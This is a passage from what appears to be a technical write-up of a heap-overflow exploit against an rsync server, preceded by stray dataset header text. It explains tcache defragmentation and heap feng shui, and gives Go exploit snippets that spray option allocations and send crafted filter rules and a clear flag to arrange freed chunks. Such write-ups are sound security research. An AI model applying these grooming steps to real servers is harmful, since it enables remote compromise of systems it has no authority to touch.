text
stringlengths
0
1.99k
In our exploit, we achieved this by creating many small allocations are
held in memory until the end of the process. By doing this, all available
tcache chunks are consumed:
// Consume all possible entries in tcache
for i := tcacheMin; i <= tcacheMax; i += tcacheStep {
for j := 0; j < tcacheSlots*2; j++ {
client.WriteLine("-M-" + strings.Repeat("A", i-2))
}
}
The snippet above shows code that runs during the protocol setup phase.
The client sends the server options that influence the server's behavior
for the file transfer. By sending option values, we can make the server
copy them to memory and keep them there for the lifetime of the process.
The following depicts a possible heap state after the defragmentation:
+----------+---+--------------+---+----------+---+-----------------------+
| | x | | x | | x | x | x | |
| large, | x | large, | x | large, | x | x | x | |
| in-use | x | in-use | x | in-use | x | x | x | top chunk |
| chunk | x | chunk | x | chunk | x | x | x | |
| | x | | x | | x | x | x | |
+----------+---+--------------+---+----------+---------------------------+
The chunks denoted with an (x) now represent in-use chunks that are in the
tcache range. Another side effect of the defragmentation is that all
available chunks are consumed, so new chunks are placed consecutively next
to each other at the end of the Heap. This created the conditions under
which we could perform allocations and deallocations in an order that
leads to the desired heap state, as discussed in the next section.
-- 2.4.2 - Placing Target Objects Next to Each Other
There aren't many chances to perform arbitrary allocations and frees
before the overflow occurs. While examining the code paths that precede
the overflow, we came across filter rule handling. Clients can instruct
the server to exclude or include certain files by sending a list of
filters. Typically, these filters are supplied as command line options,
for example --filter=+/dir/**. However, filters can also be sent to the
server after command line parsing, in a different part of the protocol
setup. On the server side, the filter rules are parsed by the
recv_filter_list() function. Sending filters in this dedicated protocol
section reduces any additional, uncontrolled allocations.
In our exploit code, we sent the following filters:
// Send Filters
count := 5
filter := "+ " + strings.Repeat("Z", ((count)*sumBufStructSize)-1)
clr := "!"
// The filter pattern is the size we'll allocate in receive_sums
client.WriteRawInt(len(filter) + 1)
client.WriteLine(filter)
// This will allocate a filter_rule after our pattern
filter = "+ a"
client.WriteRawInt(len(filter) + 1)
client.WriteLine(filter)
// Send the clear flag to free filters
client.WriteRawInt(len(clr) + 1)
client.WriteLine(clr)
client.WriteRawInt(0)
Each filter will allocate a filter_rule struct, which is the same size as
struct sum_buf (40 bytes). With each filter, we can specify a path string
of a controlled size, which allows us to perform another allocation. The
first filter we allocate will therefore allocate a filter_rule struct and
a string of size count*sumBufStructSize, resulting in 200 bytes. We chose
the value 5 for count, as it turned out to be reliable after some
experimentation. sumBufStructSize is a constant equal to 40.
Then we send a single byte filter a, which leads to another filter_rule
allocation of 40 bytes. Now have a heap layout depicted by the following:
+--------------------+--------------------------+--------------------+---+
| filter_rule struct | zzzzzzzzzzzzzzzzzzzzzzz | filter_rule struct | a |
| (40 bytes) | zzzzzzzzzzzzzzzzzzzzz...| (40 bytes) | |
| | (200 bytes) | | |
+--------------------+--------------------------+--------------------+---+
While we can not cause the deallocation of a single filter, we can free
all of them at the same time by sending the string !. As seen in the code
snippet above, this causes all filters and their associated strings to be
deallocated all at once, in the order that they were allocated. This now
leads to the following layout of available tcache chunks:
Top of ~200 byte tcache bucket Top of ~40 byte tcache bucket
-----\ ----\
-------------\ -------\
+----------------+-------------------------------+----------------+------+
| | | | |
| 40 byte tcache | 200 byte tcache entry | 40 byte tcache | 8 |
| entry | | entry | byte |
| | | | entry|
+----------------+-------------------------------+----------------+------+